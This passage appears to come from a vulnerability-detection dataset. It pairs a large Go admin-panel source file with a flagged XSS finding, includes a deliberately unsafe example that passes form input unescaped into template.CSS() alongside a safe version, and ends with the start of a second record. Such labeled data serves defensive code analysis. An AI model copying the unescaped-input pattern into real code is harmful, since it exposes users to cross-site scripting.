width...)).\n\t\taddFooterHTML(action.FooterContent()).\n\t\taddCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) ExportValue() *InfoPanel {\n\ti.ExportType = 1\n\treturn i\n}\n\nfunc (i *InfoPanel) IsExportValue() bool {\n\treturn i.ExportType == 1\n}\n\nfunc (i *InfoPanel) AddButtonRaw(btn Button, action Action) *InfoPanel {\n\ti.Buttons = append(i.Buttons, btn)\n\ti.addFooterHTML(action.FooterContent()).addCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) AddButton(title template.HTML, icon string, action Action, color ...template.HTML) *InfoPanel {\n\ti.addButton(GetDefaultButtonGroup(title, icon, action, color...)).\n\t\taddFooterHTML(action.FooterContent()).\n\t\taddCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) AddActionIconButton(icon string, action Action, ids ...string) *InfoPanel {\n\ti.addActionButton(GetActionIconButton(icon, action, ids...)).\n\t\taddFooterHTML(action.FooterContent()).\n\t\taddCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) AddActionButtonFront(title template.HTML, action Action, ids ...string) *InfoPanel {\n\ti.SetActionButtonFold()\n\ti.ActionButtons = append([]Button{GetActionButton(title, action, ids...)}, i.ActionButtons...)\n\ti.addFooterHTML(action.FooterContent()).\n\t\taddCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) AddActionButton(title template.HTML, action Action, ids ...string) *InfoPanel {\n\ti.SetActionButtonFold()\n\ti.addActionButton(GetActionButton(title, action, ids...)).\n\t\taddFooterHTML(action.FooterContent()).\n\t\taddCallback(action.GetCallbacks())\n\treturn i\n}\n\nfunc (i *InfoPanel) SetActionButtonFold() *InfoPanel {\n\ti.ActionButtonFold = true\n\treturn i\n}\n\nfunc (i *InfoPanel) AddLimitFilter(limit int) *InfoPanel {\n\ti.processChains = addLimit(limit, i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddTrimSpaceFilter() *InfoPanel {\n\ti.processChains = addTrimSpace(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddSubstrFilter(start int, end int) *InfoPanel {\n\ti.processChains = addSubstr(start, end, i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddToTitleFilter() *InfoPanel {\n\ti.processChains = addToTitle(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddToUpperFilter() *InfoPanel {\n\ti.processChains = addToUpper(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddToLowerFilter() *InfoPanel {\n\ti.processChains = addToLower(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddXssFilter() *InfoPanel {\n\ti.processChains = addXssFilter(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) AddXssJsFilter() *InfoPanel {\n\ti.processChains = addXssJsFilter(i.processChains)\n\treturn i\n}\n\nfunc (i *InfoPanel) SetExportProcessFn(fn ExportProcessFn) *InfoPanel {\n\ti.ExportProcessFn = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetDeleteHook(fn DeleteFn) *InfoPanel {\n\ti.DeleteHook = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetDeleteHookWithRes(fn DeleteFnWithRes) *InfoPanel {\n\ti.DeleteHookWithRes = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetQueryFilterFn(fn QueryFilterFn) *InfoPanel {\n\ti.QueryFilterFn = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) AddUpdateParametersFn(fn UpdateParametersFn) *InfoPanel {\n\ti.UpdateParametersFns = append(i.UpdateParametersFns, fn)\n\treturn i\n}\n\nfunc (i *InfoPanel) SetWrapper(wrapper ContentWrapper) *InfoPanel {\n\ti.Wrapper = wrapper\n\treturn i\n}\n\nfunc (i *InfoPanel) SetPreDeleteFn(fn DeleteFn) *InfoPanel {\n\ti.PreDeleteFn = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetDeleteFn(fn DeleteFn) *InfoPanel {\n\ti.DeleteFn = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetGetDataFn(fn GetDataFn) *InfoPanel {\n\ti.GetDataFn = fn\n\treturn i\n}\n\nfunc (i *InfoPanel) SetPrimaryKey(name string, typ db.DatabaseType) *InfoPanel {\n\ti.primaryKey = primaryKey{Name: name, Type: typ}\n\treturn i\n}\n\nfunc (i *InfoPanel) SetTableFixed() *InfoPanel {\n\ti.TableLayout = \"fixed\"\n\treturn i\n}\n\nfunc (i *InfoPanel) AddColumn(head string, fun FieldFilterFn) *InfoPanel {\n\ti.FieldList = append(i.FieldList, Field{\n\t\tHead: head,\n\t\tField: head,\n\t\tTypeName: db.Varchar,\n\t\tSortable: false,\n\t\tEditAble: false,\n\t\tEditType: table.Text,\n\t\tFieldDisplay: FieldDisplay{\n\t\t\tDisplay: fun,\n\t\t\tDisplayProcessChains: chooseDisplayProcessChains(i.processChains),\n\t\t},\n\t})\n\ti.curFieldListIndex++\n\treturn i\n}\n\nfunc (i *InfoPanel) AddColumnButtons(head string, buttons ...Button) *InfoPanel {\n\tconst bLen = 1024\n\tvar content, js, footer strings.Builder\n\tcontent.Grow(bLen)\n\tjs .Grow(bLen)\n\tfooter .Grow(bLen)\n\tfooter.WriteString(string(i.FooterHtml))\n\tfor _, btn := range buttons {\n\t\tbtn.GetAction().SetBtnId(\".\" + btn.ID())\n\t\tbtnContent, btnJs := btn.Content()\n\t\tcontent.WriteString(string(btnContent))\n\t\tjs .WriteString(string(btnJs))\n\t\tfooter .WriteString(ParseTableDataTmpl(btn.GetAction().FooterContent()))\n\t\ti.Callbacks = i.Callbacks.AddCallback(btn.GetAction().GetCallbacks())\n\t}\n\tfooter.WriteString(``)\n\ti.FooterHtml = template.HTML(footer.String())\n\tcontentStr := content.String()\n\ti.FieldList = append(i.FieldList, Field{\n\t\tHead: head,\n\t\tField: head,\n\t\tTypeName: db.Varchar,\n\t\tSortable: false,\n\t\tEditAble: false,\n\t\tEditType: table.Text,\n\t\tFieldDisplay: FieldDisplay{\n\t\t\tDisplay: func(value FieldModel) interface{} {\n\t\t\t\tpk := db.GetValueFromDatabaseType(i.primaryKey.Type, value.Row[i.primaryKey.Name], i.isFromJSON())\n\t\t\t\tv := make(map[string]InfoItem, len(value.Row))\n\t\t\t\tfor key, item := range value.Row {\n\t\t\t\t\titemValue := fmt.Sprintf(\"%v\", item)\n\t\t\t\t\tv[key] = InfoItem{ Value: itemValue, Content: template.HTML(itemValue) }\n\t\t\t\t}\n\t\t\t\treturn template.HTML(ParseTableDataTmplWithID(pk.HTML(), contentStr, v))\n\t\t\t},\n\t\t\tDisplayProcessChains: chooseDisplayProcessChains(i.processChains),\n\t\t},\n\t})\n\ti.curFieldListIndex++\n\treturn i\n}\n\nfunc (i *InfoPanel) AddFieldTr(ctx *context.Context, head, field string, typeName db.DatabaseType) *InfoPanel {\n\treturn i.AddFieldWithTranslation(ctx, head, field, typeName)\n}\n\nfunc (i *InfoPanel) AddFieldWithTranslation(ctx *context.Context, head, field string, typeName db.DatabaseType) *InfoPanel {\n\treturn i.AddField(language.GetWithLang(head, ctx.Lang()), field, typeName)\n}\n\nfunc (i *InfoPanel) AddField(head, field string, typeName db.DatabaseType) *InfoPanel {\n\ti.FieldList = append(i.FieldList, Field{\n\t\tHead: head,\n\t\tField: field,\n\t\tTypeName: typeName,\n\t\tEditType: table.Text,\n\t\tFieldDisplay: FieldDisplay{\n\t\t\tDisplay: NoopFieldDisplay,\n\t\t\tDisplayProcessChains: chooseDisplayProcessChains(i.processChains),\n\t\t},\n\t})\n\ti.curFieldListIndex++\n\treturn i\n}\n\nfunc (i *InfoPanel) AddFilter(head, field string, typeName db.DatabaseType, fn UpdateParametersFn, filterType ...FilterType) *InfoPanel {\n\treturn i.AddField(head, field, typeName).FieldHide().FieldFilterable(filterType...).AddUpdateParametersFn(fn)\n}\n\n// Field attribute setting functions\n// ====================================================\n\nfunc (i *InfoPanel) FieldDisplay(filter FieldFilterFn) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Display = filter\n\treturn i\n}\n\ntype FieldLabelParam struct {\n\tColor template.HTML\n\tType string\n}\n\nfunc (i *InfoPanel) FieldLabel(args ...FieldLabelParam) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"label\"].Get(args))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldImage(width, height string, prefix ...string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"image\"].Get(width, height, prefix))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldBool(flags ...string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"bool\"].Get(flags))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldLink(src string, openInNewTab ...bool) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"link\"].Get(src, openInNewTab))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFileSize() *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"filesize\"].Get())\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldDate(format string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"date\"].Get())\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldIcon(icons map[string]string, defaultIcon string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"link\"].Get(icons, defaultIcon))\n\treturn i\n}\n\ntype FieldDotColor string\n\nconst (\n\tFieldDotColorDanger FieldDotColor = \"danger\"\n\tFieldDotColorInfo FieldDotColor = \"info\"\n\tFieldDotColorPrimary FieldDotColor = \"primary\"\n\tFieldDotColorSuccess FieldDotColor = \"success\"\n)\n\nfunc (i *InfoPanel) FieldDot(icons map[string]FieldDotColor, defaultDot FieldDotColor) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"dot\"].Get(icons, defaultDot))\n\treturn i\n}\n\ntype FieldProgressBarData struct {\n\tStyle string\n\tSize string\n\tMax int\n}\n\nfunc (i *InfoPanel) FieldProgressBar(data ...FieldProgressBarData) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"progressbar\"].Get(data))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldLoading(data []string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"loading\"].Get(data))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldDownLoadable(prefix ...string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"downloadable\"].Get(prefix))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldCopyable(prefix ...string) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"copyable\"].Get(prefix))\n\tif _, ok := i.DisplayGeneratorRecords[\"copyable\"]; !ok {\n\t\ti.addFooterHTML(template.HTML(utils.StrConcat(``)))\n\t\ti.DisplayGeneratorRecords[\"copyable\"] = struct{}{}\n\t}\n\treturn i\n}\n\ntype FieldGetImgArrFn func(value string) []string\n\nfunc (i *InfoPanel) FieldCarousel(fn FieldGetImgArrFn, size ...int) *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"carousel\"].Get(fn, size))\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldQrcode() *InfoPanel {\n\ti.addDisplayChains(displayFnGens[\"qrcode\"].Get())\n\tif _, ok := i.DisplayGeneratorRecords[\"qrcode\"]; !ok {\n\t\ti.addFooterHTML(template.HTML(utils.StrConcat(``)))\n\t\ti.DisplayGeneratorRecords[\"qrcode\"] = struct{}{}\n\t}\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldWidth(width int) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Width = width\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldSortable() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Sortable = true\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldEditOptions(options FieldOptions, extra ...map[string]string) *InfoPanel {\n\tif i.FieldList[i.curFieldListIndex].EditType.IsSwitch() {\n\t\tif len(extra) == 0 {\n\t\t\toptions[0].Extra = map[string]string{\n\t\t\t\t\"size\" : \"small\",\n\t\t\t\t\"onColor\" : \"primary\",\n\t\t\t\t\"offColor\": \"default\",\n\t\t\t}\n\t\t} else {\n\t\t\tm := extra[0]\n\t\t\tif m[\"size\" ] == \"\" { m[\"size\" ] = \"small\" }\n\t\t\tif m[\"onColor\" ] == \"\" { m[\"onColor\" ] = \"primary\" }\n\t\t\tif m[\"offColor\"] == \"\" { m[\"offColor\"] = \"default\" }\n\t\t\toptions[0].Extra = m\n\t\t}\n\t}\n\ti.FieldList[i.curFieldListIndex].EditOptions = options\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldEditAble(editType ...table.Type) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].EditAble = true\n\tif len(editType) > 0 {\n\t\ti.FieldList[i.curFieldListIndex].EditType = editType[0]\n\t}\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldAsEditParam() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].IsEditParam = true\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldAsDeleteParam() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].IsDeleteParam = true\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldAsDetailParam() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].IsDetailParam = true\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFixed() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Fixed = true\n\treturn i\n}\n\ntype FilterType struct {\n\tOptions FieldOptions\n\tProcess func(string) string\n\tOptionExt map[string]interface{}\n\tFormType form.Type\n\tHelpMsg template.HTML\n\tStyle template.HTMLAttr\n\tOperator FilterOperator\n\tHead string\n\tPlaceholder string\n\tWidth int\n\tHeadWidth int\n\tInputWidth int\n\tNoHead bool\n\tNoIcon bool\n}\n\nfunc (i *InfoPanel) FieldFilterable(filterType ...FilterType) *InfoPanel {\n\tcurField := i.FieldList[i.curFieldListIndex]\n\tcurField.Filterable = true\n\tlangInput := language.Get(\"input\") + \" \"\n\n\tif len(filterType) == 0 {\n\t\tcurField.FilterFormFields = append(curField.FilterFormFields,\n\t\t\tFilterFormField{\n\t\t\t\tType: form.Text,\n\t\t\t\tHead: curField.Head,\n\t\t\t\tPlaceholder: langInput + curField.Head,\n\t\t\t})\n\t} else {\n\t\tfor _, filter := range filterType {\n\t\t\tff := FilterFormField{\n\t\t\t\tWidth : filter.Width,\n\t\t\t\tHeadWidth : filter.HeadWidth,\n\t\t\t\tInputWidth: filter.InputWidth,\n\t\t\t\tHelpMsg : filter.HelpMsg,\n\t\t\t\tNoIcon : filter.NoIcon,\n\t\t\t\tStyle : filter.Style,\n\t\t\t\tProcessFn : filter.Process,\n\t\t\t\tOperator : filter.Operator,\n\t\t\t\tOptions : filter.Options,\n\t\t\t}\n\t\t\tif filter.FormType == form.Default {\n\t\t\t\tff.Type = form.Text\n\t\t\t} else {\n\t\t\t\tff.Type = filter.FormType\n\t\t\t}\n\t\t\tif !filter.NoHead && filter.Head == \"\" {\n\t\t\t\tff.Head = curField.Head\n\t\t\t} else {\n\t\t\t\tff.Head = filter.Head\n\t\t\t}\n\t\t\t//ff.Head = modules.AorB(!filter.NoHead && filter.Head == \"\", i.FieldList[i.curFieldListIndex].Head, filter.Head)\n\t\t\tif filter.Placeholder == \"\" {\n\t\t\t\tff.Placeholder = langInput + ff.Head\n\t\t\t} else {\n\t\t\t\tff.Placeholder = filter.Placeholder\n\t\t\t}\n\t\t\t//ff.Placeholder = modules.AorB(filter.Placeholder == \"\", language.MustGet(\"input\")+\" \"+ff.Head, filter.Placeholder)\n\t\t\tif len(filter.OptionExt) > 0 {\n\t\t\t\ts, _ := utils.JsonMarshal(filter.OptionExt)\n\t\t\t\tff.OptionExt = template.JS(s)\n\t\t\t}\n\t\t\tcurField.FilterFormFields = append(curField.FilterFormFields, ff)\n\t\t}\n\t}\n\n\ti.FieldList[i.curFieldListIndex] = curField\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOptions(options FieldOptions) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].Options = options\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].OptionExt = `{\"allowClear\": \"true\"}`\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOptionsFromTable(table, textFieldName, valueFieldName string, process ...OptionTableQueryProcessFn) *InfoPanel {\n\tvar fn OptionTableQueryProcessFn\n\tif len(process) > 0 { fn = process[0] }\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].OptionTable = OptionTable{\n\t\tTable: table,\n\t\tTextField: textFieldName,\n\t\tValueField: valueFieldName,\n\t\tQueryProcessFn: fn,\n\t}\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterProcess(process func(string) string) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].ProcessFn = process\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOptionExt(m map[string]interface{}) *InfoPanel {\n\ts, _ := utils.JsonMarshal(m)\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].OptionExt = template.JS(s)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnSearch(url string, handler Handler, delay ...int) *InfoPanel {\n\text, callback := searchJS(i.FieldList[i.curFieldListIndex].FilterFormFields[0].OptionExt, url, handler, delay...)\n\ti.FieldList[i.curFieldListIndex].FilterFormFields[0].OptionExt = ext\n\ti.Callbacks = append(i.Callbacks, callback)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseCustom(js template.HTML) *InfoPanel {\n\ti.FooterHtml += chooseCustomJS(i.FieldList[i.curFieldListIndex].Field, js)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseMap(m map[string]LinkField) *InfoPanel {\n\ti.FooterHtml += chooseMapJS(i.FieldList[i.curFieldListIndex].Field, m)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChoose(val, field string, value template.HTML) *InfoPanel {\n\ti.FooterHtml += chooseJS(i.FieldList[i.curFieldListIndex].Field, field, val, value)\n\treturn i\n}\n\nfunc (i *InfoPanel) OperationURL(id string) string {\n\treturn config.Url(\"/operation/\" + utils.WrapURL(id))\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseAjax(field, url string, handler Handler) *InfoPanel {\n\tjs, callback := chooseAjax(i.FieldList[i.curFieldListIndex].Field, field, i.OperationURL(url), handler)\n\ti.FooterHtml += js\n\ti.Callbacks = append(i.Callbacks, callback)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseHide(value string, field ...string) *InfoPanel {\n\ti.FooterHtml += chooseHideJS(i.FieldList[i.curFieldListIndex].Field, []string{value}, field...)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseShow(value string, field ...string) *InfoPanel {\n\ti.FooterHtml += chooseShowJS(i.FieldList[i.curFieldListIndex].Field, []string{value}, field...)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldFilterOnChooseDisable(value string, field ...string) *InfoPanel {\n\ti.FooterHtml += chooseDisableJS(i.FieldList[i.curFieldListIndex].Field, []string{value}, field...)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldHide() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Hide = true\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldJoin(join Join) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].Joins = append(i.FieldList[i.curFieldListIndex].Joins, join)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldLimit(limit int) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddLimit(limit)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldTrimSpace() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddTrimSpace()\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldSubstr(start int, end int) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddSubstr(start, end)\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldToTitle() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddToTitle()\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldToUpper() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddToUpper()\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldToLower() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].AddToLower()\n\treturn i\n}\n\nfunc (i *InfoPanel) FieldXssFilter() *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].DisplayProcessChains.Add(xssFilter)\n\treturn i\n}\n\n// InfoPanel attribute setting functions\n// ====================================================\n\nfunc (i *InfoPanel) SetTable(table string) *InfoPanel {\n\ti.Table = table\n\treturn i\n}\n\nfunc (i *InfoPanel) SetPageSizeList(pageSizeList []int) *InfoPanel {\n\ti.PageSizeList = pageSizeList\n\treturn i\n}\n\nfunc (i *InfoPanel) SetDefaultPageSize(defaultPageSize int) *InfoPanel {\n\ti.DefaultPageSize = defaultPageSize\n\treturn i\n}\n\nfunc (i *InfoPanel) GetPageSizeList() []string {\n\tpageSizeList := make([]string, len(i.PageSizeList))\n\tfor j, ps := range i.PageSizeList {\n\t\tpageSizeList[j] = strconv.Itoa(ps)\n\t}\n\treturn pageSizeList\n}\n\nfunc (i *InfoPanel) GetSort() string {\n\tswitch i.Sort {\n\tcase SortAsc: return \"asc\"\n\tdefault : return \"desc\"\n\t}\n}\n\nfunc (i *InfoPanel) SetTitle(title string) *InfoPanel {\n\ti.Title = title\n\treturn i\n}\n\nfunc (i *InfoPanel) SetTabGroups(groups TabGroups) *InfoPanel {\n\ti.TabGroups = groups\n\treturn i\n}\n\nfunc (i *InfoPanel) SetTabHeaders(headers ...string) *InfoPanel {\n\ti.TabHeaders = headers\n\treturn i\n}\n\nfunc (i *InfoPanel) SetDescription(desc string) *InfoPanel {\n\ti.Description = desc\n\treturn i\n}\n\nfunc (i *InfoPanel) SetFilterFormLayout(layout form.Layout) *InfoPanel {\n\ti.FilterFormLayout = layout\n\treturn i\n}\n\nfunc (i *InfoPanel) SetFilterFormHeadWidth(w int) *InfoPanel {\n\ti.FilterFormHeadWidth = w\n\treturn i\n}\n\nfunc (i *InfoPanel) SetFilterFormInputWidth(w int) *InfoPanel {\n\ti.FilterFormInputWidth = w\n\treturn i\n}\n\nfunc (i *InfoPanel) SetSortField(field string) *InfoPanel {\n\ti.SortField = field\n\treturn i\n}\n\nfunc (i *InfoPanel) SetSortAsc() *InfoPanel {\n\ti.Sort = SortAsc\n\treturn i\n}\n\nfunc (i *InfoPanel) SetSortDesc() *InfoPanel {\n\ti.Sort = SortDesc\n\treturn i\n}\n\nfunc (i *InfoPanel) SetAction(action template.HTML) *InfoPanel {\n\ti.Action = action\n\treturn i\n}\n\nfunc (i *InfoPanel) SetHeaderHtml(header template.HTML) *InfoPanel {\n\ti.HeaderHtml += header\n\treturn i\n}\n\nfunc (i *InfoPanel) SetFooterHtml(footer template.HTML) *InfoPanel {\n\ti.FooterHtml += footer\n\treturn i\n}\n\nfunc (i *InfoPanel) HasError() bool {\n\treturn i.PageError != nil\n}\n\nfunc (i *InfoPanel) SetError(err errors.PageError, content ...template.HTML) *InfoPanel {\n\ti.PageError = err\n\tif len(content) > 0 {\n\t\ti.PageErrorHTML = content[0]\n\t}\n\treturn i\n}\n\nfunc (i *InfoPanel) SetNoCompress() *InfoPanel {\n\ti.NoCompress = true\n\treturn i\n}\n\nfunc (i *InfoPanel) SetHideSideBar() *InfoPanel {\n\ti.HideSideBar = true\n\treturn i\n}\n\nfunc (i *InfoPanel) SetAutoRefresh(interval uint) *InfoPanel {\n\ti.AutoRefresh = interval\n\treturn i\n}\n\nfunc (i *InfoPanel) Set404Error(content ...template.HTML) *InfoPanel {\n\ti.SetError(errors.PageError404, content...)\n\treturn i\n}\n\nfunc (i *InfoPanel) Set403Error(content ...template.HTML) *InfoPanel {\n\ti.SetError(errors.PageError403, content...)\n\treturn i\n}\n\nfunc (i *InfoPanel) Set400Error(content ...template.HTML) *InfoPanel {\n\ti.SetError(errors.PageError401, content...)\n\treturn i\n}\n\nfunc (i *InfoPanel) Set500Error(content ...template.HTML) *InfoPanel {\n\ti.SetError(errors.PageError500, content...)\n\treturn i\n}\n\nfunc (i *InfoPanel) HideNewButton() *InfoPanel {\n\ti.IsHideNewButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideExportButton() *InfoPanel {\n\ti.IsHideExportButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideFilterButton() *InfoPanel {\n\ti.IsHideFilterButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideRowSelector() *InfoPanel {\n\ti.IsHideRowSelector = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HidePagination() *InfoPanel {\n\ti.IsHidePagination = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideFilterArea() *InfoPanel {\n\ti.IsHideFilterArea = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideQueryInfo() *InfoPanel {\n\ti.IsHideQueryInfo = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideEditButton() *InfoPanel {\n\ti.IsHideEditButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideDeleteButton() *InfoPanel {\n\ti.IsHideDeleteButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideDetailButton() *InfoPanel {\n\ti.IsHideDetailButton = true\n\treturn i\n}\n\nfunc (i *InfoPanel) HideCheckBoxColumn() *InfoPanel {\n\treturn i.HideColumn(1)\n}\n\nfunc (i *InfoPanel) HideColumn(n int) *InfoPanel {\n\ti.AddCSS(template.CSS(fmt.Sprintf(`\n\t.box-body table.table tbody tr td:nth-child(%v), .box-body table.table tbody tr th:nth-child(%v) { display: none }`, n, n)))\n\treturn i\n}\n\nfunc (i *InfoPanel) addFooterHTML(footer template.HTML) *InfoPanel {\n\ti.FooterHtml += template.HTML(ParseTableDataTmpl(footer))\n\treturn i\n}\n\nfunc (i *InfoPanel) AddCSS(css template.CSS) *InfoPanel {\n\treturn i.addFooterHTML(template.HTML(utils.StrConcat(\"\")))\n}\n\nfunc (i *InfoPanel) AddJS(js template.JS) *InfoPanel {\n\treturn i.addFooterHTML(template.HTML(utils.StrConcat(\"\")))\n}\n\nfunc (i *InfoPanel) addCallback(node context.Node) *InfoPanel {\n\ti.Callbacks = i.Callbacks.AddCallback(node)\n\treturn i\n}\n\nfunc (i *InfoPanel) addButton(btn Button) *InfoPanel {\n\ti.Buttons = append(i.Buttons, btn)\n\treturn i\n}\n\nfunc (i *InfoPanel) addActionButton(btn Button) *InfoPanel {\n\ti.ActionButtons = append(i.ActionButtons, btn)\n\treturn i\n}\n\nfunc (i *InfoPanel) isFromJSON() bool {\n\treturn i.GetDataFn != nil\n}\n\nfunc (i *InfoPanel) addDisplayChains(fn FieldFilterFn) *InfoPanel {\n\ti.FieldList[i.curFieldListIndex].DisplayProcessChains = i.FieldList[i.curFieldListIndex].DisplayProcessChains.Add(fn)\n\treturn i\n}", "dangerousExampleEn": "1. import \"html/template\"\n2. func Dan_XSS_etc(c *gin.Context){\n3. \tinput:=c.PostForm(\"input\")\n4. \tc.HTML(200,\"xss_etc_result.html\", gin.H{\"Data\":template.CSS(input)})\n5. }\nLine 4: External input is used in template.CSS() without escaping, which is dangerous.", "safeExampleEn": "1. import \"html/template\"\n2. func Safe_XSS_etc(c *gin.Context){\n3. \tstyle :=\"body { background-color: red; }\"\n4. \tc.HTML(200, \"xss_etc_result.html\", gin.H{\"Data\":template.CSS(style)})\n5. }\nLine 4: Use predefined strings in template.CSS(), which is safe.", "contexts": [{"lineNo": 1709, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 1709, "eventType": "sink", "messageKey": "gochk.XSS_ETC.GO.defect.sink", "params": {"arg0": "CSS"}}]}} {"id": "2d254417dce0b0a1b714d33a756ea44372dc88fbfeb107bff334539df0218b20", "license": {"spdx": ["MIT"], "repo": "tranch/assistant", "path": "internal/app/web/component/html.go", "repo_head_hexsha": "b2548bc1e1602ade4ea332874536fd3c01331293", "stack_hexsha": "c701f1f6dc59ee99d719e35e44c179ae5a67d607", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (HTML)", "issueDescriptionEn": "The html/template package is implemented to create HTML template in Golang. The package basically handles HTML escaping and helps to prevent Cross-site scripting (XSS) attacks.\nHowever, two functions i.e. `template.HTML` and `template.HTMLAttr` do not escape characters in the html/template. If an unverified external input is included in the functions, it can cause vulnerabilities against the XSS attacks.\nYou can manually change special characters, such as &, <, >, `, ` into HTML entities: yet, html/template supports an escape function, `EscapeString`. `EscapeString` can be an option for escaping the input. Still, the user input needs to be avoided if possible.", "issueLineNumber": 52, "entireCode": "package component\n\nimport (\n\t\"fmt\"\n\t\"github.com/tsundata/assistant/internal/pkg/version\"\n\t\"html/template\"\n)\n\ntype Html struct {\n\tName string\n\tTitle string\n\tUseIcon bool\n\tUseCodeEditor bool\n\tPage Component\n\tcss template.CSS\n\tjs template.JS\n}\n\nfunc (c *Html) SetCss(css template.CSS) {\n\tc.css = css\n}\n\nfunc (c *Html) SetJs(js template.JS) {\n\tif js != \"\" 